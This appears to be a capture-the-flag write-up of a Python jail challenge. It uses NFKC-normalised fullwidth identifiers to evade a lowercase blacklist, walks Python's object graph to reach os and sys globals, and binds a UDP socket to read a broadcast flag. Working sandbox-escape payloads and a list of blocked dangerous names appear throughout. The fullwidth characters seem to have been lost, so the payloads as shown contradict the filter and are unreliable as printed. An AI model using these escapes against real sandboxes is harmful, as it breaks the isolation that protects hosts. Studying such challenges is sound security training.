DL·SYS
Contact ↗

CSCTF 2026 · Misc · 120 pts

Fire-Control Terminal.

A lowercase substring blacklist, fullwidth identifiers, and a UDP broadcast carrying the flag.

Python jailNFKCSandbox escapeUDP
EventCSCTF 2026, Operation Dawn (online jeopardy)
CategoryMisc
Points120
StatusSolved during the event
TargetPython eval console (assigned TCP instance)

TL;DR. The console runs each line as Python after rejecting a list of lowercase substrings. Fullwidth identifiers such as __class__ survive .lower() and are NFKC-normalised to __class__ by the parser. From there, walk to _wrap_close.__init__.__globals__ (the os module globals), get the socket module, bind UDP 49513, and read the base64url flag that the sender broadcasts every second.

Challenge

The terminal is a raw TCP service with a >>> prompt. Every line is evaluated as Python in a restricted namespace. The flag is not in the console's globals; it lives in a separate process on the same host.

First look

Simple expressions worked, and the tracebacks were returned verbatim. The filter was visible through its error messages: any source containing one of these lowercase substrings was rejected before compilation:

import eval exec open read system popen class base subclass
globals builtins getattr setattr mro compile breakpoint

The filter scans the raw source with .lower(). Python, on the other hand, normalises identifiers with NFKC at parse time. Those two operations do not commute: c (U+FF43) lowercases to itself, but normalises to c when the parser builds the identifier.

Dead ends

Solution

1. Get an object graph

''.__class__.__base__.__subclasses__()

The filter sees ''.__class__...; none of those characters lowercase into the banned ASCII words. The parser normalises the identifiers, so the expression is exactly ''.__class__.__base__.__subclasses__().

2. Find a frame with useful globals

[_ for _ in ''.__class__.__base__.__subclasses__()
   if _.__name__ == '_wrap_close'][0].__init__.__globals__

_wrap_close comes from os._wrap_close, so its __init__ function carries the os module globals. That dictionary contains sys and, through sys.modules, every module already imported by the process.

3. Bind the relay port

g = [_ for _ in ''.__class__.__base__.__subclasses__()
     if _.__name__ == '_wrap_close'][0].__init__.__globals__
s = g['sys'].modules['socket'].socket(2, 2)
s.bind(('127.0.0.1', 49513))
print(s.recvfrom(4096)[0])

socket(2, 2) is AF_INET, SOCK_DGRAM. The sender process is already broadcasting to 127.0.0.1:49513 once per second, so binding the port is enough; no packet injection or race is needed.

4. Decode the datagram

ASH CMD RELAY // ... AUTH CODE <base64url>
python3 -c "import base64;print(base64.urlsafe_b64decode('...').decode())"

The payload decodes to the flag. The ASCII wrapper is there to make the relay look like a status line, but the code is plain base64url after the last space.

Flag

FlagCSCTF{RlJuSYvitS9VJD1nK3X8xvc4}

What I took from it